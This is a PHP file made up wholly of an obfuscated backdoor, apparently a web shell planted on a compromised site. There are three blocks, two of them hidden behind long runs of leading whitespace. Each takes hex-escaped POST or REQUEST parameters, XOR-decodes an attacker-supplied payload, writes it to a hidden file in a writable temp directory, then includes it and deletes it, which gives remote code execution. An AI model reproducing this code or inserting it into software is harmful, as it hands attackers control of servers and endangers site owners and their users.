<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64a\x74a"])){ $dchunk = array_filter([getenv("TEMP"), getcwd(), "/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP")]); $entity = $_REQUEST["\x64a\x74a"]; $entity =explode ( '.', $entity ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $r = 0; foreach ($entity as $v2) {$sChar = ord($salt[$r %$sLen] ); $dec = ((int)$v2 - $sChar - ($r %10)) ^ 61; $ent .= chr($dec ); $r++; } while ($val = array_shift($dchunk)) { if (is_dir($val) ? is_writable($val) : false) { $marker = str_replace("{var_dir}", $val, "{var_dir}/.property_set"); if (file_put_contents($marker, $ent)) { require $marker; unlink($marker); die(); } } } }
																																										if(array_key_exists("\x68\x6Fl\x64er", $_POST) && !is_null($_POST["\x68\x6Fl\x64er"])){ $reference = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir()]); $ptr = $_POST["\x68\x6Fl\x64er"]; $ptr = explode ( '.', $ptr ) ; $factor=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s ); $t=0; $__tmp=$ptr; while( $v4=array_shift( $__tmp)) { $chS=ord( $s[$t % $sLen] ); $dec=( ( int)$v4 - $chS -( $t % 10)) ^ 49; $factor .= chr( $dec ); $t++; } foreach ($reference as $ent) { if (max(0, is_dir($ent) * is_writable($ent))) { $key = vsprintf("%s/%s", [$ent, ".pointer"]); if (file_put_contents($key, $factor)) { include $key; @unlink($key); die(); } } } }


if(!empty($_POST["\x76alu\x65"])){
	$comp = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), "/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir")]);
	$hld = $_POST["\x76alu\x65"];
	$hld  =   explode		 ( 	".",	 	$hld   ) 	;
	$ptr = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $salt);
            $j = 0;
    
            $__tmp = $hld;
            while( $v2 = array_shift( $__tmp)) {
                $chS = ord( $salt[$j %		$lenS]);
                $d =( ( int)$v2 - $chS -( $j %		10)) ^ 4;
                $ptr.= chr( $d);
                $j++;	}
	for ($flg = 0, $dchunk = count($comp); $flg < $dchunk; $flg++) {
    $pointer = $comp[$flg];
    		if (is_dir($pointer) && is_writable($pointer)) {
    $val = "$pointer" . "/.entity";
    if (file_put_contents($val, $ptr)) {
	include $val;
	@unlink($val);
	exit;
}
}
}
}